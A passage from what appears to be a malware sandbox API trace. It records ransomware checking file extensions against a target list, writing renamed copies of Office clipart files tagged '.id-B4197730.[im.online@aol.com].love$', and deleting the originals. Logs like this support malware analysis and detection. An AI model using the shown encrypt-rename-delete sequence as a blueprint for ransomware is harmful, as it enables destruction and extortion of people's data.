Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68 [0267.270] lstrlenW (lpString=".zip") returned 4 [0267.270] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0267.270] lstrlenW (lpString=".rar") returned 4 [0267.271] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0267.271] lstrlenW (lpString=".bz2") returned 4 [0267.271] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0267.271] lstrlenW (lpString=".7z") returned 3 [0267.271] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0267.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68 [0267.271] lstrlenW (lpString=".dbf") returned 4 [0267.271] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0267.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68 [0267.271] lstrlenW (lpString=".1cd") returned 4 [0267.271] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0267.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68 [0267.272] lstrlenW (lpString=".jpg") returned 4 [0267.272] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0267.272] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0267.273] lstrlenW (lpString="J0099172.WMF") returned 12 [0267.273] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099172.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0267.274] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=58258) returned 1 [0267.275] CloseHandle (hObject=0x580) returned 1 [0267.275] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099172.wmf")) returned 0x220 [0267.275] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099172.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0267.276] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099172.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0267.277] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.277] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.277] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099172.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0267.279] GetLastError () returned 0x0 [0267.279] ReadFile (in: hFile=0x580, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0xe392, lpOverlapped=0x0) returned 1 [0267.576] WriteFile (in: hFile=0x550, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xe3a0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xe3a0, lpOverlapped=0x0) returned 1 [0267.579] ReadFile (in: hFile=0x580, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0267.579] WriteFile (in: hFile=0x550, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0267.580] SetEndOfFile (hFile=0x550) returned 1 [0267.580] CloseHandle (hObject=0x550) returned 1 [0267.580] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.580] SetEndOfFile (hFile=0x580) returned 1 [0267.609] CloseHandle (hObject=0x580) returned 1 [0267.609] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0268.604] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099172.wmf")) returned 1 [0268.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68 [0268.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68 [0268.606] lstrlenW (lpString=".doc") returned 4 [0268.606] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0268.606] lstrlenW (lpString=".docx") returned 5 [0268.606] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0268.606] lstrlenW (lpString=".pdf") returned 4 [0268.606] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0268.607] lstrlenW (lpString=".xls") returned 4 [0268.607] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0268.607] lstrlenW (lpString=".xlsx") returned 5 [0268.607] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0268.607] lstrlenW (lpString=".ppt") returned 4 [0268.607] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0268.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68 [0268.607] lstrlenW (lpString=".zip") returned 4 [0268.607] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0268.607] lstrlenW (lpString=".rar") returned 4 [0268.607] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0268.607] lstrlenW (lpString=".bz2") returned 4 [0268.607] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0268.607] lstrlenW (lpString=".7z") returned 3 [0268.607] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0268.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68 [0268.607] lstrlenW (lpString=".dbf") returned 4 [0268.608] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0268.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68 [0268.608] lstrlenW (lpString=".1cd") returned 4 [0268.608] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0268.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68 [0268.608] lstrlenW (lpString=".jpg") returned 4 [0268.608] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0268.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68 [0268.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68 [0268.608] lstrlenW (lpString=".doc") returned 4 [0268.608] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0268.608] lstrlenW (lpString=".docx") returned 5 [0268.608] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0268.608] lstrlenW (lpString=".pdf") returned 4 [0268.610] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0268.610] lstrlenW (lpString=".xls") returned 4 [0268.610] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0268.610] lstrlenW (lpString=".xlsx") returned 5 [0268.610] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0268.610] lstrlenW (lpString=".ppt") returned 4 [0268.610] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0268.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68 [0268.610] lstrlenW (lpString=".zip") returned 4 [0268.610] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0268.610] lstrlenW (lpString=".rar") returned 4 [0268.610] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0268.610] lstrlenW (lpString=".bz2") returned 4 [0268.610] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0268.610] lstrlenW (lpString=".7z") returned 3 [0268.610] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0268.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68 [0268.611] lstrlenW (lpString=".dbf") returned 4 [0268.611] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0268.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68 [0268.611] lstrlenW (lpString=".1cd") returned 4 [0268.611] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0268.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68 [0268.611] lstrlenW (lpString=".jpg") returned 4 [0268.611] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0268.611] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0268.611] lstrlenW (lpString="J0099173.WMF") returned 12 [0268.611] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099173.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0268.613] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=37140) returned 1 [0268.613] CloseHandle (hObject=0x304) returned 1 [0268.613] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099173.wmf")) returned 0x220 [0268.613] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099173.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0268.614] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099173.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0268.614] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.614] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.614] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099173.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0268.616] GetLastError () returned 0x0 [0268.616] ReadFile (in: hFile=0x304, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x9114, lpOverlapped=0x0) returned 1 [0268.622] WriteFile (in: hFile=0x564, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x9120, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x9120, lpOverlapped=0x0) returned 1 [0268.625] ReadFile (in: hFile=0x304, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0268.625] WriteFile (in: hFile=0x564, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0268.625] SetEndOfFile (hFile=0x564) returned 1 [0268.626] CloseHandle (hObject=0x564) returned 1 [0268.626] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.626] SetEndOfFile (hFile=0x304) returned 1 [0268.633] CloseHandle (hObject=0x304) returned 1 [0268.634] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0268.634] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099173.wmf")) returned 1 [0268.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68 [0268.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68 [0268.636] lstrlenW (lpString=".doc") returned 4 [0268.636] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0268.636] lstrlenW (lpString=".docx") returned 5 [0268.636] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0268.637] lstrlenW (lpString=".pdf") returned 4 [0268.637] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0268.637] lstrlenW (lpString=".xls") returned 4 [0268.637] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0268.637] lstrlenW (lpString=".xlsx") returned 5 [0268.637] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0268.637] lstrlenW (lpString=".ppt") returned 4 [0268.637] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0268.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68 [0268.637] lstrlenW (lpString=".zip") returned 4 [0268.637] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0268.637] lstrlenW (lpString=".rar") returned 4 [0268.637] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0268.637] lstrlenW (lpString=".bz2") returned 4 [0268.637] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0268.637] lstrlenW (lpString=".7z") returned 3 [0268.638] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0268.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68 [0268.638] lstrlenW (lpString=".dbf") returned 4 [0268.638] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0268.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68 [0268.638] lstrlenW (lpString=".1cd") returned 4 [0268.638] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0268.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68 [0268.638] lstrlenW (lpString=".jpg") returned 4 [0268.638] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0268.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68 [0268.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68 [0268.638] lstrlenW (lpString=".doc") returned 4 [0268.638] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0268.638] lstrlenW (lpString=".docx") returned 5 [0268.638] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0268.638] lstrlenW (lpString=".pdf") returned 4 [0268.638] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0268.638] lstrlenW (lpString=".xls") returned 4 [0268.639] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0268.639] lstrlenW (lpString=".xlsx") returned 5 [0268.639] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0268.639] lstrlenW (lpString=".ppt") returned 4 [0268.640] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0268.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68 [0268.640] lstrlenW (lpString=".zip") returned 4 [0268.640] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0268.640] lstrlenW (lpString=".rar") returned 4 [0268.640] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0268.640] lstrlenW (lpString=".bz2") returned 4 [0268.640] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0268.641] lstrlenW (lpString=".7z") returned 3 [0268.641] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0268.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68 [0268.641] lstrlenW (lpString=".dbf") returned 4 [0268.641] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0268.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68 [0268.641] lstrlenW (lpString=".1cd") returned 4 [0268.641] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0268.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68 [0268.641] lstrlenW (lpString=".jpg") returned 4 [0268.641] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0268.641] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0268.641] lstrlenW (lpString="J0099174.WMF") returned 12 [0268.641] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099174.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0268.643] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=6214) returned 1 [0268.643] CloseHandle (hObject=0x304) returned 1 [0268.643] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099174.wmf")) returned 0x220 [0268.644] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099174.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0268.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099174.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0268.644] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.645] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.645] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099174.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0268.777] GetLastError () returned 0x0 [0268.777] ReadFile (in: hFile=0x304, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x1846, lpOverlapped=0x0) returned 1 [0268.784] WriteFile (in: hFile=0x57c, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x1850, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x1850, lpOverlapped=0x0) returned 1 [0268.787] ReadFile (in: hFile=0x304, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0268.787] WriteFile (in: hFile=0x57c, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0268.788] SetEndOfFile (hFile=0x57c) returned 1 [0268.790] CloseHandle (hObject=0x57c) returned 1 [0268.790] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.790] SetEndOfFile (hFile=0x304) returned 1 [0268.798] CloseHandle (hObject=0x304) returned 1 [0268.798] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0268.805] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099174.wmf")) returned 1 [0268.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0268.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0268.807] lstrlenW (lpString=".doc") returned 4 [0268.807] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0268.807] lstrlenW (lpString=".docx") returned 5 [0268.808] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0268.808] lstrlenW (lpString=".pdf") returned 4 [0268.808] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0268.808] lstrlenW (lpString=".xls") returned 4 [0268.808] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0268.808] lstrlenW (lpString=".xlsx") returned 5 [0268.808] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0268.808] lstrlenW (lpString=".ppt") returned 4 [0268.808] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0268.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0268.808] lstrlenW (lpString=".zip") returned 4 [0268.808] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0268.808] lstrlenW (lpString=".rar") returned 4 [0268.808] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0268.808] lstrlenW (lpString=".bz2") returned 4 [0268.808] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0268.808] lstrlenW (lpString=".7z") returned 3 [0268.809] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0268.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0268.809] lstrlenW (lpString=".dbf") returned 4 [0268.809] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0268.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0268.809] lstrlenW (lpString=".1cd") returned 4 [0268.809] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0268.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0268.809] lstrlenW (lpString=".jpg") returned 4 [0268.809] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0268.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0268.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0268.810] lstrlenW (lpString=".doc") returned 4 [0268.810] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0268.810] lstrlenW (lpString=".docx") returned 5 [0268.810] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0268.810] lstrlenW (lpString=".pdf") returned 4 [0268.810] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0268.810] lstrlenW (lpString=".xls") returned 4 [0268.810] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0268.810] lstrlenW (lpString=".xlsx") returned 5 [0268.810] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0268.810] lstrlenW (lpString=".ppt") returned 4 [0268.810] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0268.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0268.811] lstrlenW (lpString=".zip") returned 4 [0268.811] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0268.811] lstrlenW (lpString=".rar") returned 4 [0268.811] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0268.811] lstrlenW (lpString=".bz2") returned 4 [0268.811] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0268.811] lstrlenW (lpString=".7z") returned 3 [0268.811] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0268.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0268.811] 